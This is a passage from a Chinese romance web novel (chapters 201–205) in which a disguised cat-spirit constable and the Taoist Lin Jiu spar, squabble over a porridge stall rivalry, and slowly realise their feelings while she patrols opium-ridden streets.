静之付好钱后,嘴里叼着个比她脸还大的饼正吃着,肩膀突然被拍了一下。 “林弟早啊,怎么这个时候才起……” 静之一个回头,林九突然眉头微蹙。 “你怎么了,眼睛肿成这样?” 一看到是他,静之脑子里突然又想起昨晚的那封信。 她在卖烧饼的眼皮底下,迅速踮脚,紧紧搂住林九的脖子。 有千言万语想要跟他说,静之却只能不发一言。 冤家。 你就是我的冤家。 林九整个人僵住,看到卖烧饼的嘴微张,却满眼八卦的样子,他不自在的轻轻拨下静之的手臂。 大手成拳,用力怼了一下她的胸膛,极尽兄弟间相处的正常姿态。 “大男人别哭哭啼啼,拉拉扯扯的,你到底怎么了?” 静之被他一拳怼到束紧的胸上,疼得龇牙咧嘴,满心的话语和爱恋瞬间烟消云散。 她僵硬的扯了扯嘴角,狠狠咬下一口烧饼,还得礼貌的对他说: “没事,真巧啊,我请你吃个烧饼!” 天色已然大亮,静之想说以他养生的样子,应该早就吃过了,本就是客套的一句话,林九却浅笑着回答: “好啊,来个早午茶也行。” “……老板,再来三个饼!” 撑不死他丫的,要三个。 林九好笑的说:“小海跟阿宝也还没吃呢,今早我叫他俩一起去郊外帮忙。” 静之:“……哦。” 第201章 教她做个男子汉 四人到城东后,发现这儿多了不少人。 不是流民,而是城内的士兵。 原本置于城墙边的两口大锅,变成四口。 令静之震惊的是,在灶边不远处,连夜建起了一个木仓库,那仓库得有她家小院儿那么大了。 此时伙头兵正从敞开的门里扛出一大袋米。 静之侧头朝里一看,我去! 里头的米袋子都堆到屋顶上去了。 看来这威霸天贪得可不老少啊。 今天伙头兵忙不过来,小江和大何各站到一口锅前,正帮忙搅弄着锅里的粥。 静之隔老远就能闻到米香味,她脚步放慢,嘴角却默默扬了起来。 待走到锅前,静之素白的手扬散升腾起的白色雾气,垂眸朝锅里一看。 浓稠的粥,熬出了米花,看起来就软糯可口,锅边甚至糊了一圈厚厚的米油。 静之不由点了点头,这才叫粥嘛。 昨天那两锅,只能叫刷锅水。 “你来啦!换人换人,我手都快搅断了。” 小江一脸惊喜,递过来老长一把锅铲到静之面前。 她还未动,阿宝就乐呵呵的走过来接手。 “我来就好,我力气大。” 静之伸出去的手微顿,又缓缓收了回来,“也好。” 她朝小江点点头,打了个招呼才说: “我和九叔去别院看看病人的情况,等会再过来。” 小江没想到她还真让大人把吃下去的吐出来了,这回对她佩服得五体投地,于是笑着对她扬扬手: “去吧去吧!阿宝能替我一会儿就行。” 待三人走出去七八米远,小江好像想起什么,才一拍脑袋朝走远的静之喊: “喂!从今晚开始,咱们仨就轮到晚上值班啦!每半个月轮一次,从晚上戌时值到半夜子时就行,等会我们这里忙完就要回去了。” “啊?” 静之回头,微微皱起眉毛。 虽然夜班的上班时长比白天的短了一点,但是半夜不睡觉,不仅容易变丑变胖,还会脱发。 她可不想变成一只秃毛猫。 主要是,半夜叫她干自己的事情可以,叫她上班就是难受至极! “没得商量?” 小江老实巴交点点头,大声说: “衙门里人太少了,等以后多招点人就好了。” 静之无奈,想辞职的心一下就浮了起来。 “林弟,衙役这么辛苦,要不别干了。” 林九说。 静之侧过头,幽幽看了他一眼,“不干这个,你养我啊?” 林九一噎,大手拍了拍她的肩膀,拍得她身形一歪。 他语重心长的说:“大丈夫顶天立地,怎可靠别人养活,有很多种营生可以做的。” “……嘁。” 静之旋转着被他打痛的肩膀,别过脸去暗暗翻了个白眼。 这人手劲儿真大。 “我考虑考虑吧。” …… 走到院前,林九停下脚步,把昨天她给他的帕子还给她。 “围上,以免传染。” 静之接过帕子,她其实无所谓围不围。 她灵猫诶,应该不会被传染吧。 见她帕子拿在手里晃悠,还装作女人的样子,捻着手帕一角挥到小海跟前,嗲着声音与他玩闹。 林九叹了口气,抬手迅速抽出她手里的帕子,还瞪了她一眼。 “干什么?!说了不准装女人!” 静之立马老实。 小海比她更老实。 他立刻拿出帕子,给自己包得像要下山抢劫的劫匪。 静之捏着衣角,眼巴巴看着林九: “你还给我嘛,我不装了。” 林九眉心一皱,粗着嗓子说: “不准说"嘛",说话就说话,捏什么衣角,像什么样子!” 静之暗戳戳瞄了他一眼,捏着拳头跃跃欲试的捶了一下他肩头,学着他压低嗓子说话: “大哥,还我帕子!” 那一拳不痛不痒,林九给出了一个自认为中肯的评价——绵软无力。 林弟果然肾虚,还要值夜班,她只会更虚的吧…… 以防她再闹,林九直接捏起帕子的对角折成三角型,然后缓缓靠近静之。 清浅的桃花味随着微风窜入她的鼻腔,静之却从这股香味里,轻易的分辨出他身上淡淡的檀香。 他抿着嘴,侧过脸,两手伸到她脑袋后给她打着结。 静之却看着他微红的耳根发了呆。 他这是害羞了,还是太阳太大,被晒得热了? 下一秒,他打结的力度用力到快把她憋死,静之才突然清醒过来。 恋爱脑不可取。 这辈子,她要听取蔗姑的意见,ho ld住自己,然后散发自己的魅力。 他喜欢她的话,自然就会靠过来的。 “林兄,松一点,勒死我了,鼻梁骨都快被你勒断了。” “……怎么不早说?” 林九把好不容易打的结解开,头却缓缓朝后仰去。 林弟她……也太香了吧,像个姑娘家一样。 林九闻着那股甜甜的幽香,不禁有些诧异。 以往他一看到涂脂抹粉的姑娘,就直犯恶心。 而她身上的味道,他竟一点都不觉得反感。 “你用的什么香,蛮好闻的。” 林九松了松帕子,开始打第一个结。 “我没抹香啊。” 静之摸着脸上的帕子出了神。 旧的恋爱脑刚摘下,脑子里突如其来的念头一晃,又生了个新的出来。 话说,昨天他也用她这条帕子围脸呢。 所以说,这条紧紧贴住她脸的帕子,当时也贴着他的脸大半天来着。 那……她现在嘴唇对着的位置,就是他当时唇瓣所在的位置?? 嗯~怎么不算接吻了呢? 静之内心不禁有些荡漾,连林九问她问题,她都没听见。 直到她的胸口又中了闷痛的一拳,她才回过神来。 “别打我,你说什么?” 她捂着胸口,痛得想骂人。 林九一挑眉,这就算打她了? 她还是太弱了。 林九边用自己的帕子包住脸,边说: “你一个大男人,为什么打耳钉?” 静之瞳孔微微晃动了下,还没来得及解释,小海就拉起帕子一角,把他打了耳洞的右耳露出来,有些得意,笑着说: “师父,这你就不懂了吧,我们这些穷苦人家的孩子啊,小时候都难养活,或者怕被拐走卖了,所以便会早早打了耳洞,当做女孩子来养,你看我也有呢!” 小海右耳挂了一个小小银质耳圈,林九平时没怎么注意,这回倒是多看了两眼。 她家可不穷,梁老先生算是他们镇上为数不多的富绅之一了,肯定是她小时候体弱,所以才被大人打了耳洞,当女孩子养。 所以,她平时一些像女孩子的举动,也就能够得到很好的解释了。 林九觉得他悟了。 她真可怜。 待他空了,给她调养调养身体吧,肾虚可会耽误要孩子。 静之看着林九十分复杂的眼神,微微挑眉。 该死,他不会发现她身份了吧?! 静之把配刀抽出来,幼稚的用刀刃折射刺眼的阳光晃林九的眼,以求打断他的思绪: “林兄,想啥呢?该进去了。” 林九一个回神,一个脑瓜崩就弹到她额头上,“收起来,玩什么不好,还玩刀,这是你该玩的吗?” 她看都不看刀鞘,帅气挽了个刀花,唰的一声,把佩刀插回刀鞘里。 一看就是玩多了刀的,小海眼睛微微瞪大,也就林九还在为她找理由。 这小子,为了练这招耍帅,废了不少时间呢吧…… …… 三人沿着池塘中间的小路走进去,她突然调笑一声说: “我一个衙役不玩刀玩什么,玩女人吗?” “咚!” 林九收回手,难得对她怒目相视。 “身子不好还玩女人,你不要命了?” 静之抱着被赏了个栗子的脑袋,气得鼓了鼓脸颊。 她不服输似的,撩起袖子,秀了秀只有一点的肱二头肌,反驳道: “哪里不好,我觉得我挺有劲儿的。” 林九看着她微鼓的肱二头肌,嘴角微微抽搐。 他突然觉得她雪白的手臂有些扎眼,于是三两下撩下她的袖子,又瞪了正嘲笑她的小海一眼。 “笑什么,不准笑!” 男人的自尊心可不能打击,不然容易一蹶不振。 还有,她的皮肤可真白,像冬日的雪。 林九甚至觉得有些剔透,都能看到微微泛青的小血管了。 白,对一个男人来说,可不算好事。 要有男子汉的气质,首先就要多晒晒太阳,多吸收吸收阳气,再顺便把皮肤晒成古铜色。 林九当即做了决定,既然她最近白天不用出勤,那他没事的时候,找她练练好了。 反正他平时也要练。 …… 三人进到房间里一看,梁家的那几个大夫也来了。 人家把这些病人照顾得井井有条,根本就用不着他们三个插手。 于是“正义的盗贼三巨头”,又围着脸华丽丽的走出院子。 施完粥回去的路上,林九想着怎么把她变成男子汉,她则想着怎么暗暗转变他对她的兄弟情。 想着想着,静之突然眼前一亮。 送礼,送 别具一格的礼。 她突然有了个想法…… 静之:“送到这里就行,我有点事做。” 林九扯住她袖子,“先别忙,先来我院子跟我打一套拳。” 静之一脸震惊回头,“打什么?” 阿海幸灾乐祸,“打拳啊打什么,你完喽,我师父训练人最严格了。” “不要了吧。”静之扯了扯袖子,有些欲哭无泪。 林九不容她拒绝,直接把她拖入院子里…… 刚一到院子,水都没喝上一口,林九就拿根棍子一敲她的腿弯内侧,端出一副严师的姿态,“小海,点一炷香。” 他回过头朝静之说: “先扎一炷香的马步热热身。” 静之:“……啊???” 突然,她眼尖的看到小海扛出了一根有她小腿粗的香出来,她的眼睛越瞪越大: “喂喂喂!你要我死这儿啊!那根点个一天一夜都点不完吧?!” 林九啧了一声,右手一棍子打到阿海屁股上,左手直摁额头跳动的青筋: “干什么,你以为我是想整她的吗?换根正常的来!” 第202章 没人性的林九 一炷香过去了,静之老神在在半蹲着,甚至还有闲心侧头过去调侃小海: “哟,看来虚的不是我,是你啊。” 小海捉弄静之,被林九抓来当陪练,这会儿也蹲起了马步。 夏日炎炎,阳光快走到正中间了,他的额头微微出了一点细汗。 眼神有些不安分的,悄悄挪过去瞄了她一眼,却发现她滴汗未出。 小海瞪大双眼,立刻举报: “师父,她作弊,她,她蹲在树荫下。” “嗐,还告状,跟小孩似的。让你一招。”林九还未说话,静之就平移身子,跟螃蟹似的,跨出阴影,蹲到太阳底下。 林九拿着戒尺,慢慢踱步过来。 经过阿宝时,发现他蹲得四平八稳。 他突然一个扫堂腿,阿宝巍然不动,还朝他嘿嘿笑了两声。 “师父,你不用试我,不用说我跟你练了这么多年的功夫,就凭我这吨位,你扫不动我的。” “是吗?”林九脚尖向上,踹向他的下三路。 阿宝伸手向下格挡,有些委屈的抬头,对上那张严肃的脸: “师父,我还没成亲呢,这儿可不兴乱踹啊。” 林九收回脚,微扬下巴,轻哼了一声,越过他走向下一个人。 还没到小海跟前呢,小海眼珠一转,神色机灵。 “师父先别动手,我知道我耐力不行,我这就去换根香接着蹲。” 林九赞许的沉吟一声,“嗯,去吧。” 阿海收腿,喜滋滋走了。 走到一半,林九突然伸腿。 阿海绊了个踉跄,差点啃一嘴泥。 林九辣评:“警惕心不足,好好练。” 阿海直起身子,在林九身后张牙舞爪的做尽各种打他的动作,无声版的。 “嗯?还不去!”林九仿佛后脑勺长了眼,怒斥了一句。 阿海顿时跑出去老远,“去了去了!” 林九踱着步子来到静之跟前,垂下眸子打量着她的脸色。 “林弟,看来是我小觑了你。” 静之洋洋得意的一抹鼻子,半蹲的脚如扎了根紧紧钉在地上。 “那是,都跟你说了,我强壮得很,一点都不虚。” 林九一脸抱歉的点头,然后转头朝正要点香的小海说:“拿中号的过来。” 小海:“啊?师父你没开玩笑吧?” 静之:“中号……是多大的?” 林九一脸确定,对小海点头,“去吧。” 过了一会儿,看着小海拿出一根有她两指粗,三十厘米长的香,静之就像只被踩到尾巴的猫一样,咬牙站起身子: “林九你别太过分嗷,我可不是你徒弟!” 林九微微睁大眼睛,有些无辜的说:“训练,就要先找到你的极限嘛,不然怎么能有成效呢?” “你!” “难道不是这样吗?” “好好好,既然想知道我的极限,不如直接跟我打一场。”她的眼里燃起了熊熊的战意,双手交叉摆在身前。 “来吧。” 小海跟阿宝面面相觑,然后像两只螃蟹似的,挪到院子最边上。 “有好戏看喽。” 林九愣了一下,跟着脚一踢,右手抓住扬到空中的下摆掖到裤腰带上,“那为兄就不客气了。” 一看他还真想跟她打,她像头被激怒的狮子一样冲了过去。 一时间飞沙走石,两人的身形转换极快,阿宝和小海看得应接不暇。 小海:“你说谁会赢啊?” 师父一生推的阿宝:“我觉得是师父。” 小海撇了撇嘴:“我看不一定,林兄弟出招也很凌厉嘛。” 阿宝又看了一会儿,才老实点评:“她力气大,但是师父力气更大,你没看到她每挡师父一拳,身形就滞了一下吗?” 他又说:“瞧瞧瞧瞧,她痛得眼圈都红了。” 阿海:“呦,还真是,师父可真是下死手啊,真要打死她啊?” 静之痛归痛,但她还真不是忍不住这点疼痛。 只是从未被他如此对待过,一时之间,内心的委屈大过身体上的疼痛,才不禁红了眼眶。 林九看到了,心里莫名泛起一丝疼痛,嘴巴却还强硬说道: “不准哭!男子汉哭哭啼啼的像什么样子?!” 静之一噎,嘴巴渐渐抿起,刚想收势不打,林九直取一拳,袭向她的面门。 随着她眼睛闭上,两颗清泪溢出眼角,拳风已至,她忍不住又哽咽了一下,却是躲都没躲,固执的站在那里,张开发红的眼睛死死盯着他。 要是他真的打这一拳,她就不要他了。 林九来不及收势,拳头一偏,直接怼到她身后的墙上,他拳头旁边的砖头甚至龟裂了几分。 听着耳边梭梭落下的碎砖头,静之扯着嘴角,冷冷笑着: “林道长,切磋就切磋,使这么大的力气,当真要打死我吗?” 林九被她笑得心里直发慌。 但转念一想,两个大男人切磋一下嘛,她武功也挺好的,他不使尽全力的话,她又该怪他藏拙了。 林九一板一眼,老老实实说道:“你应该多吃点饭。” “……” 静之眼里的泪瞬间收了回去,无语凝噎。 小海跟阿宝被她脸上冷凝的表情,吓得大气都不敢喘。 她身高虽然矮师父一点,但是那浑身的气势却是跟师父不相上下啊。 “你什么意思?”她停了好一会儿,才开口问。 小海小声嘀咕:“你可以这样理解———打这么轻,你是没吃饭吗?” “小海!”林九一声怒喝,随后放下拳头,有些无措的看着眼圈又红起来的静之,“我,我不是那个意思。” 她胡乱抹去眼泪,也觉得自己这时哭的话是挺可笑的。 嘴巴却又忍不住怼他一句:“那你是什么意思?” “我是觉得,你太瘦了,多吃点,多长点肌肉,力气更大。” 静之:“要那么大力气干嘛,去地里跟牛抢着犁地吗?” 看着她转身迅速跃到墙头,顺着那根枝干爬回自己院子里,林九仰着头彻底呆住了。 “师父……”阿宝欲言又止。 小海吐槽一句:“师父你也真是的,切磋就切磋,你下手这么重干什么,给人家搞哭了吧,那是你结拜兄弟,不是你仇人。” 林九抬起手看着有些破皮的指关节,完全想象不到,这一拳要是砸到她那张精致的脸上,他会是什么样的心情。 她的武功很好,是他一时打得上头了。 “多嘴!一人多蹲一炷香!” 说完林九把手掩在身后,转身回了大殿。 “师父,你不去哄哄人家啊?”阿宝有些不忍心的说。 大殿里头突然传出林九冷漠的回音:“大男人哭就算了,还要人哄的吗?” 阿宝跟小海面面相觑。 小海耸了耸肩说:“算啦,你也知道的,师父有时候就是这么没有人性。” 两人又对视一眼,然后不约而同的叹了口气。 “唉~” “唉~~” 第203章 林弟……这个给你 俩徒弟嘴里冷血无情的林九,这时候已经走出后门,绕到静之房间的窗户后面了。 他手里拿着她的佩刀,有些犹豫要不要敲响这扇窗。 站了许久,手刚举起来,窗户就自里头打开。 鼻头还有些微微泛红的静之侧着身子,别别扭扭的说: “你来干什么?看我笑话吗?” 她越说越大声:“我就是爱哭,那又怎么了?” 林九偷偷打量她的神情,看她情绪激动,就把嘴里那句想叫她别哭的话吞了回去。 “你的刀。”他干巴巴说了一句,举起佩刀递了进去。 静之没好气的一把夺过,“好了,你可以走了。” 不是来道歉,又为什么偷偷摸摸跑到她家后面? 她把刀搁在窗前的桌上,两手把着窗扇要关上,却被林九两手抵住。 他有些局促的看着她,嗫喏了一下嘴巴说:“那个……晚上我来接你。” “你这是道歉吗?” “……” 两个大男人较量一下,林九并不认为自己做错了什么。 他来这里,只是想确认一下她的状况而已,一时之间,道歉的话实在说不出口。 静之也知道这个道理。 她只是……突然有些想念上辈子那个对她极尽温柔的林九罢了。 她叹了口气,有些颓然的坐在窗前,淡淡的说: “开玩笑的,不需要你道歉。” 稍稍平缓一下情绪后,看着呆立窗后的林九,她故作轻松的说: “我又不是姑娘家,不用你来接我,到饭点我会去找你的。” 此时的林九觉得她的情绪明显有些不太对劲。 但没谈过的他,又不知道是哪里不对,于是除了一声“好”,他竟不知道该说些什么。 窗户关上,他头顶的树枝随风轻轻摇曳着,明明灭灭的阳光洒进他的眼里,不时暴露出他眼底的迷茫。 他这是怎么了? 按照他以前的做法,他是万万不会走这一趟的。 但是看到她流眼泪,他的心里怎么就这么堵得慌呢? 而且,脾气幼稚的人该怎么哄啊? 林九这辈子还没哄过人,他搓了搓脑袋,缓缓走了回去。 …… 虽然她叫他别来接,林九还是来了。 他也不知道为什么,问就是心魔驱使的。 道士一向随心,心里想来,他也就来了。 静之用一个下午的时间缓解了那些不必要的情绪,此时也没有那么气他了。 她用自身的皮毛幻化出一身银白色的男士长袍,腰间束一条四指宽的同色腰带。 一头白发高高竖起,仅用她那根剑型的白玉簪子固定发冠。 身长而立,纸扇一展,林九有句话没说错,她这副样子,确实别有一般风流韵味。 长腿刚一跨出院子,眼巴巴站在门口等人的林九立马迎了上去。 他把手中的东西递了过去,“林弟……这个给你。” 河边的树上垂下一串灯笼,红色的暖光映在他手中的那串冰糖葫芦上,淡红色的透明糖衣微微闪着一丝亮光,竟有几分诱人。 她嗤笑了一声,“怎么,林兄觉得我真是个孩子吗?” 林兄,她叫林兄了,是不是就不生气了? 但是,她好像不喜欢这东西诶,果然是他想岔了吗? 林九的手缓缓放下,有些尴尬的说:“我……只是想让你开心,不要就算了,就当我没……” 林九话还没说完,就看到她摊开掌心朝向他。 “拿来,谁说我不要的。” “好,好!”林九手又提了起来,把木棍的位置轻轻放在她手心里,嘴里是酝酿了一下午的道歉词。 “我,下午是我不好,你……” “不是你的错,确实是我矫情了。” 静之打断他的话,她自嘲似的,清浅笑了一下,手握住冰糖葫芦,轻轻啃了一口最上头那颗山楂外头的糖衣。 “很甜呢。”糖衣嘎嘣脆,有些细碎的糖粘在她饱满的唇瓣上,她下意识伸出红润的舌尖把它们卷进嘴里吃掉。 林九只看了一眼,就立刻别过脸,置于身后的手指,轻轻抠着自己手心的肉。 他的脸莫名的有些发烫,“走吧,吉时要到了,我带你去看看热闹。” 突然,少了一颗的冰糖葫芦串伸到他眼前,“你吃不吃?” “不,不用了。”林九快走一步,避开冰糖葫芦,远离她一个身位,走到她前头。 刚刚那个画面莫名停留在他的脑海里,林九现在并不想看到冰糖葫芦。 静之:什么嘛,这辈子的他真是奇奇怪怪的。 不过他还知道买点东西哄哄她,还不是无可救药嘛。 吃点甜甜的,心情果然会变好。 她好心情的啃下一颗山楂,嘎嘣嘎嘣的嚼着,还不时吸溜一下口水,是被山楂酸的。 她不禁酸眯了眼,吐槽道:“呦,这颗好酸~” “呵……”听着她的喃喃自语,林九忍不住嘴角微扬,自喉底发起一声低低的笑声。 他看她就是孩……那什么,赤子之心嘛。 “嘲笑我?吃完啦!” “什么?!”他刚刚站在她门口等很久,闲着没事干数过了,那一大串可是有七八个,她没两分钟就吃完了? 静之快走一步,将串交回到他手里,“山楂酸,糖我吃完啦。” 林九看了看她,又看了看手里只剩下山楂的串,顿时有些无语。 这小子,连这东西也挑食吗? 难怪这么瘦。 她捏着手,老实巴交的说:“我怕酸,剩下的还你。” 边说着,还对他展颜一笑,“原谅你啦。” 林九眉心一松,在心里默默说了一句:我还没道歉呢…… 还有这东西,他也不爱吃呢。 林九还从未在乡亲们面前举着串糖葫芦走来走去。 这东西,还是他叫小海偷偷出去买的呢。 这会儿,他总觉得大家都在看他,眼神里也带着一股莫名的笑意。 他犹豫了一下,本想叫她吃掉,刚一转身,她就如一阵风一般,越过他,冲到街边挂满彩色毽子的小摊上。 “阿宝,你们开始营业啦?” 小海提着串鞭炮出来,笑着说:“还没有,这不是等你们一起来放炮吗?” 他回头朝阿宝说:“师兄,来点火呀,吉时到了。” “来了。”阿宝吹亮火折子走了出来,静之一看有人放炮就莫名的兴奋。 有种过年的感觉。 她扯着站在街中间的林九的胳膊退到一边,“后退后退,小心炸到你。” 林九低头看着落在他胳膊上的手,心想着不能扰了她的兴致,于是环着胸任她扶着手臂,也没有挣脱开。 兄弟嘛,扶一下又怎么了。 “噼啪啪!” 鞭炮声响,静之放开他的胳膊捂住自己的耳朵,眼睛笑得弯弯的,眼里的亮光极盛。 看来,她也是个喜欢热闹的。 林九抻了抻被她刚刚抓皱的衣袖,心情跟着变好起来,就是被她抓过的地方温度变凉了,有些不自在。 阿海趁着鞭炮还在响,把摊子上方的红绸一拉。 “宝记艇仔粥,今天开张喽!” “噼啪啪噼啪啪啪啪!” 在他摊子的鞭炮声响完后,对面突然响起了更长一串鞭炮声。 静之抬头望去,是个四进的饭馆,一个伙计捏住绳子往下一拉,更大的红绸脱落。 “何记艇仔粥!谨防假冒,独此一家。” 艇仔粥? 何记??? 是林九之前嘴里那个何老板吗? 这事儿林九知不知道啊? 还是连他也被坑了? 除了林九以外的三个人皆看傻了眼。 就在这时,林九突然转回头跟阿宝说:“既然顶过来了,就好好做,做生意讲究的是耐心。” 看着头低低的阿宝,静之动了动嘴,跟着劝道:“那什么,你的小摊漂亮,一定会有人来吃的。” 阿宝黯淡下去的眸子瞬间亮起,“那……我给你们一人来一碗?” 静之转头看向林九,林九则扯着她往外走了一步。 他直着脖子说:“不用了,我在对面定了位置。” 林九把手里的糖葫芦往他推车上一插,“要回去的时候帮我带回去。” 说完,他拉着静之的袖子,把欲言又止的她带进对面的店里。 “那个……林兄,这样是不是对阿宝不太好啊?” 第204章 给你呼呼 何老板穿一身喜庆的暗红色袍子,就站在门口迎宾。 看林九来了,他热情的拱手迎了上来。 “九叔,您来啦,位置给您留着呢!就靠窗那个位置。” 林九就算被熟人摆了一道,也只能吃下这个暗亏。 毕竟是他劝自己的徒弟接这个摊子的。 他没有像以往那般热情回应,而是露出一个礼貌又不失疏离的微笑:“好。” 何老板是个生意人,最擅察言观色。 知道林九心里不痛快,他的表情僵了一瞬,随即讪笑着走开了。 两人坐下后,静之有些担心的看着对面闲得坐下来打苍蝇的小海跟郁郁寡欢的阿宝。 “林兄,他摆出这样的招牌,阿宝那里哪有人去嘛。” 林九闭了闭眼,有些无奈的叹了口气,“这就是商战。我早该想到的,他盘掉摊子,不过是为了换个大一些的店面罢了。” 静之放在桌上的手指缓缓敲击着桌面,“镇子就这么大,吃他粥的老顾客应该到处都是,其实没有必要写谨防假冒这几个字。” “而且阿宝那个摊小,就算一样卖粥,又能抢掉他多少客人呢?” “我看他就是故意的。” 不管是不是故意的,钱已经给人家了,摊子也接过来了。 只能就这样让阿宝做几天生意看看情况再说。 就是每次要请她吃饭,好像都闹得不太愉快。 林九不禁又叹了一口气。 “林兄,吃饭讲究的是心情,既然这么不开心,我们不在他们这儿吃,我们去别处吃吧?” 林九有些抱歉的看着她,“对不起,我不知道……老是遇到这种事。” 静之不在意的摆摆手,“嗐呀,没事儿,这又不怪你。” “不说这个了,我刚刚看到一家卖烤鸡的,喷香,走!我们去买一只。” 静之扯着脸色复杂的林九起身。 走到门口时,她看那个赔笑着的何老板眼睛不是眼睛,鼻子不是鼻子的,哼了一声,带着林九大步走出他店里。 何老板心想,这生意,可能是亏了。 10个银元,卖了与林九的友情…… 可是如今的世道,是真的不好混啊。 要不是史公子带人威胁他,他也不至于…… 唉,算了。 事已至此,多说无用。 …… 林九买了两只烧鸡,回到了阿宝的摊子前。 师徒俩面面相觑,一个赛一个脸色难看。 说实话,他师父刚刚这么不给面子,阿宝心里是有些受伤的。 此时他别过脸去,双手紧紧抓着腰前围着的白色围裙,别扭得招呼也不想跟林九打。 对,就是小海说的那样。 冷血! 无情!! 过分!!! 静之看了看两人,把油纸包着的烧鸡递一只过去给小海,“阿宝,来两碗粥,原价卖我哦!给你开个张!” “还有,这是林兄买给你们的烧鸡,趁热吃呀。” 林九欲言又止。 哪里是买给他们的,明明是买给她赔罪的。 阿宝的脸色因为她的两句话好了不少,“好,一共六文钱,你们旁边坐,桌椅我都擦干净了。” 静之掏出荷包数出六文给他,然后寻了张光线良好的桌子坐下。 阿宝捡起各种丰富新鲜的配料放入碗里,然后舀起一大勺滚烫的粥冲入碗中,还细心的擦去碗沿的米粒。 静之:“看不出来你还蛮细心的嘛。” “但是一碗卖三文是不是有些少,会不会亏呀?” 小海端着托盘走过来,把粥连同切好的烧鸡端出来给他们,阿宝则笑着回答: “刚开始嘛,少赚点没事,主要是积累客户。” 林九把鸡肉往她的方向推了推,淡淡的说:“你能这么想就好了,万事开头难,我……” 阿宝打断他的话,笑着说: “师父,我明白,我会好好做的,争取早日攒够钱,迎娶小珠。” “嗯。”林九低沉回应一声,眼睛却看着自己的碗里的烧鸡腿,有些诧异,“这是给你买的。” 静之&阿宝:“我知道。” 他俩转头对视一眼,然后纷纷又扭头看向林九。 林九拿着汤勺的手一抖,张了张嘴,重新说:“这……是给你们买的。” 阿宝眉间一松,看着林九的眼神亮晶晶的,“师父,我就知道你对我最好了。” “噗呲。” 静之捂着嘴,一双剔透的眼眸里盛满了笑意,此时她盯着脸色发红的林九,学着阿宝说: “林兄,我就知道你对我最~好~了~~” 林九恼羞成怒,夹过去盘中另外一只鸡腿,没好气的说: “吃吧,吃也堵不上你的嘴。” 她悠哉悠哉拿起亮红色烤的呲呲冒油的鸡腿,意有所指感叹一句: “想要堵住我的嘴,有很多种方法。” 突然挑起眉梢的小海:“……嘿~” 一脸懵的阿宝:“你……是不是不够吃啊,我们这只的腿也分给你。” 林九则是面露难色,他低头看向自己沙包大的拳头: “我……不想打你。” 静之按着青筋鼓动的太阳穴,闭了闭眼,咬牙切齿说: “吃饭!” 林九慢悠悠搅动着碗里的粥,余光不时瞄向对面那个脸梭黑的人。 她怎么又生气了? 他确实不想打她啊。 他这一拳要是打下去,她不知道又要哭多久哦,可不就闭嘴了嘛。 静之看他还在看自己的左拳,忍不住瘪了瘪嘴。 此时她有些恨自己极好的视力。 那拳头上的关节位置破了好几处皮,他都不痛的吗?也不上上药。 她啪的一声放下筷子,把他的拳头扯到桌子外。 林九有些为难:“那个林弟,白天切磋过了,我知道你身手好,就不……” 静之白了他一眼,“谁要跟你切磋了,举着。” 她从怀里摸出一瓶独家秘制的青草油打开,语气硬邦邦的: “会有些痛,但是明天就能好,你忍忍。” 说完,她不容置疑的把绿色的药水往他手背上倒。 “嘶—嗯。” 刚嘶一声,他立马忍住。 这药到底加什么了? 他觉得破皮的几个位置突然传来一阵火辣辣的疼痛,跟泡了浓度极高的盐水一样。 “痛啊?” “痛就对了,叫你就知道切磋。” 嘴硬的静之抬头看到他绷紧的下巴,暗暗叹了口气。 无奈低下傲娇的头颅,轻轻往他手背上吹着凉风,给他呼呼。 那阵风仿佛在林九心中的一潭死水里吹起了一阵涟漪。 看着她微微撅起的嘴,林九莫名又想到她刚刚吃糖的画面。 不能想! 林九嗖的一声撤回手,“……好了,吃饭。” 他觉得被她吹过的手背,好像整个都麻掉了。 完了,他不会对男人也开始过敏了吧? …… 今天的月儿又圆又亮。 露天的摊子也不是没有一点好处。 至少她看清了他突然红起来的耳根子了。 这家伙居然知道害羞,还不是木得无可救药嘛。 第205章 林九明白心意 吃完那一大海碗的粥,林九就带着小海回去了。 而苦逼的007打工人——林/猫猫/静之,得留下来巡街。 得亏她只用巡城东,跟小江和大何一人划分一块儿区域后,她就开始巡自己分到的地盘。 这个时代,好像处于盛世的尾端,和乱世的开端。 整个社会所呈现出来的东西,简直两极分化。 大街上灯火通明,人来人往,好不热闹。 而昏暗狭窄的小巷子里,又是另外一个悲惨世界。 有的吸嗨了,衣衫不整,袒胸露背,靠着墙,望天傻笑的。 有的躺在地上,好似冷得直发抖,枯如鸡爪的手却还紧紧抓着根大烟不放的。 也有的吸到没钱买烟叶,正扯着哭泣的妻女要拉出去卖的。 前两种静之管不了。 后一种,她直接一个手刀了事,然后写了罪状挂在他胸前,把他整个人绑起来悬在城门口杀鸡儆猴。 她也就分到一小块儿区域,就抓到好几起这样的事件,秀气的剑眉不由得越皱越紧。 城墙上挂着的人越来越多,她的心也越来越沉。 她渐渐感觉到了,整个社会仿佛正被拖入一个无尽的沼泽中。 黑暗中似有豺狼虎豹,在窥视着这片肥沃的土地,而天真的人们却还被上位者蒙蔽真相,快乐的生活着。 …… 夜色渐晚,欢声笑语散尽。 远处的灯一盏一盏熄灭,独留偌大的月盘斜斜挂在天边,照亮静之的路。 突然,前面路边一盏微弱的灯光引起了她的注意力。 那个位置她很熟悉,是阿宝的摊位。 她走过去皱着眉头问: “怎么还不回去,子时了,夜市早关了。” 阿宝扬着扇子,有些无奈指指摊位前的碗: “今天就你跟师父两个客人,哦,加上一个来买毽子的,就三个人,我……再等等吧。” “欲速则不达,你再待一会儿就回去吧,路上都没人了。”她劝道。 阿宝抿了抿嘴,拿着扇子的手紧紧掐着扇柄,他没有回应她这句话,反而干笑了一声,反问她: “你呢,子时了,你不是要交班了吗?” 静之点点头,左右寻觅一圈无果后,才讲:“最后巡一圈我也要回去了。” “……好。” 静之走出去三米远,阿宝突然叫住她。 “林兄弟,你抓不完的。” “……那又如何?”她并未回头,只是紧了紧扇柄。 她原本做人的时候,家庭因为抓毒贩而破裂。 她和林风也多少因为这个原因,平白无故经历了许多波折。 所以一看到这种人,这种事,她绝对没有办法坐视不管。 金童不让她扭转乾坤,那么她只能管好眼前这一亩三分地了。 阿宝看着她挺直的背影,突然又说一句:“若是你真想管,不如查查威霸天。” “别告诉师父是我说的。”他补充道。 静之脚步微微一顿,微风带着她的“好”字送入了阿宝耳朵里。 …… 另外一头。 早已回到家的林九,今夜莫名有些 睡不着。 他斜斜躺在床上,眼神直直盯着书桌上那用油纸包着的无糖山楂串。 “你吃吗?” “吃完了,山楂酸,这个还你。” “可能会有点痛,你忍忍。” “林兄?” “林兄。” “林兄!” …… 为什么? 为什么脑子里全是她? 